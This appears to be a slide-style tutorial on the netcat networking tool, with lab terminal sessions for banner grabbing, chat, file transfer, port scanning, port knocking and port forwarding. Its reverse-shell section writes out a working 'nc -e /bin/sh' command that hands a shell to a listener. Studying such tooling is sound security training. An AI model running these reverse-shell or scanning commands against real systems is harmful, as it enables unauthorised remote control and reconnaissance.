



Netcat

Information Security Inc.

Contents

- About Netcat
- Netcat feature lineup
- Syntax and usage
- Features detailed
- Conclusion
- References

About Netcat

- “**Netcat**” is a computer networking function for analyzing from and writing to network connections using TCP or UDP

```
NAME
nc - TCP/IP swiss army knife

SYNOPSIS
nc [-options] hostname port[s] [ports] ...
nc -l -p port [-options] [hostname] [port]
```

Netcat features

- Banner grabbing
- Reverse shell
- Chatting
- Data Transfer
- Port scanning
- Port knocking
- Port forwarding

Syntax and Usage

- Client/Server Model

- ◉ Netcat client

nc IP Port

- ◉ Netcat listener

nc -vlp Port

```
root@LUCKY64:~# nc -vlp 88
listening on [any] 88 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 54212
Hello
```

```
root@LUCKY64:~# nc 127.0.0.1 88
Hello
```

Features detailed

- Banner grabbing

```
root@LUCKY64:~# nc 127.0.0.1 80
GET / HTTP/1.0

127.0.0.1 - - [03/Aug/2017 00:03:40] "GET / HTTP/1.0" 200 -
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.13
Date: Thu, 03 Aug 2017 04:03:40 GMT
Content-type: text/html; charset=UTF-8
Content-Length: 5194

root@LUCKY64:~# nc 192.168.10.12 25
220 LUCKY64.rtma.tk Python SMTP proxy version 0.2
```

Features detailed

- Reverse shell

```
root@LUCKY64:~# nc -vlp 8588
listening on [any] 8588 ...
connect to [192.168.10.12] from LUCKY64.rtma.tk [192.168.10.12] 50692
ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    inet 172.17.0.1 netmask 255.255.0.0 broadcast 0.0.0.0
    ether 02:42:34:87:36:ef txqueuelen 0 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.10.12 netmask 255.255.255.0 broadcast 192.168.10.255
    inet6 fe80::20c:29ff:fe69:6fc6 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:69:6f:c6 txqueuelen 1000 (Ethernet)
    RX packets 348671 bytes 96798438 (92.3 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 308661 bytes 39335205 (37.5 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1 (Local Loopback)
    RX packets 791 bytes 101633 (99.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 791 bytes 101633 (99.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@LUCKY64:~#
root@LUCKY64:~#
root@LUCKY64:~#
root@LUCKY64:~# nc -e /bin/sh 192.168.10.12 8588
```

Features detailed

- Chatting

```
root@LUCKY64: # awk -W interactive '$0="Tsubasa: "$0' | nc -vlp 8885
listening on [any] 8885 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 52244
Misaki: hey
Whats up Misaki
Misaki: Im fine
```

```
root@LUCKY64: # awk -W interactive '$0="Misaki: "$0' | nc 127.0.0.1 8885
hey
Tsubasa: Whats up Misaki
Im fine
```


Features detailed

- Data Transfer

```
root@LUCKY64:~/API-malwr.com# ls -la
total 60
wxr-xr-x  3 root root 4096 Aug  3 00:58 .
wxr-xr-x  60 root root 4096 Aug  3 00:42 ..
w-r--r--  1 root root  845 Jul 26 04:46 API_example.py
wxr-xr-x  8 root root 4096 Jul 26 04:46 .git
w-r--r--  1 root root  12 Jul 26 04:46 .gitignore
w-r--r--  1 root root 9160 Jul 26 04:46 MalwrAPI.py
w-r--r--  1 root root 8297 Jul 26 04:56 MalwrAPI.pyc
wxr-xr-x  1 root root 3512 Jul 26 04:46 malwr-cli.py
w-r--r--  1 root root 1838 Jul 26 04:46 README.md
w-r--r--  1 root root  24 Jul 26 04:46 requirements.txt
wxrwxrwx  1 root root  188 Jul 26 05:10 SEARCH.py
root@LUCKY64:~/API-malwr.com# nc -lp 8858 > Scan.py

root@LUCKY64:~/API-malwr.com# less Scan.py
root@LUCKY64:~/API-malwr.com# ls -la
total 64
wxr-xr-x  3 root root 4096 Aug  3 01:00 .
wxr-xr-x  60 root root 4096 Aug  3 00:42 ..
w-r--r--  1 root root  845 Jul 26 04:46 API_example.py
wxr-xr-x  8 root root 4096 Jul 26 04:46 .git
w-r--r--  1 root root  12 Jul 26 04:46 .gitignore
w-r--r--  1 root root 9160 Jul 26 04:46 MalwrAPI.py
w-r--r--  1 root root 8297 Jul 26 04:56 MalwrAPI.pyc
wxr-xr-x  1 root root 3512 Jul 26 04:46 malwr-cli.py
w-r--r--  1 root root 1838 Jul 26 04:46 README.md
w-r--r--  1 root root  24 Jul 26 04:46 requirements.txt
w-r--r--  1 root root  581 Aug  3 01:00 Scan.py
wxrwxrwx  1 root root  188 Jul 26 05:10 SEARCH.py
```

```
root@LUCKY64: ~
root@LUCKY64:~# nc 127.0.0.1 8858 < Scan.py
root@LUCKY64:~#
root@LUCKY64:~#
```

Features detailed

- Port scanning

```
root@LUCKY64:~/API-malwr.com# nc -vzn -w 1 127.0.0.1 1-65535  
  
(UNKNOWN) [127.0.0.1] 8834 (?) open  
(UNKNOWN) [127.0.0.1] 22 (ssh) open
```

- Port knocking (find out hidden services)

```
root@LUCKY64:~# nc 127.0.0.1 10025  
220 LUCKY64.rtma.tk Python SMTP proxy version 0.2  
  
root@LUCKY64:~# nc 127.0.0.1 11808  
HEAD / HTTP/1.0  
  
127.0.0.1 - - [03/Aug/2017 01:28:31] "HEAD / HTTP/1.0" 200 -  
HTTP/1.0 200 OK
```

Features detailed

- Port forwarding

▲ Topology

Sending_Host >>> Forwarder_Host >>> Receiving_Host

forward port 8000 to remote-host:80



```
root@indishell:~#  
root@indishell:~#  
root@indishell:~# curl -I http://192.168.10.12:8000  
HTTP/1.1 200 OK  
Date: Thu, 03 Aug 2017 07:16:29 GMT  
Server: Apache  
Accept-Ranges: bytes  
Connection: close  
Content-Type: text/html
```

```
root@LUCKY64: ~  
^C  
root@LUCKY64: # nc -l -p 8000 -c "nc mouse-jp.co.jp 80"
```

Conclusion

- There are many other sophisticated tools for every feature provided by Netcat, yet no other tool is powerful enough to provide so many functionalities in a single package
- Netcat is not only useful for a pentester but it can also be utilized by system administrators for their daily activities

References

- Wikipedia

<https://en.wikipedia.org/wiki/Netcat>

- SecTools

<http://sectools.org/tool/netcat/>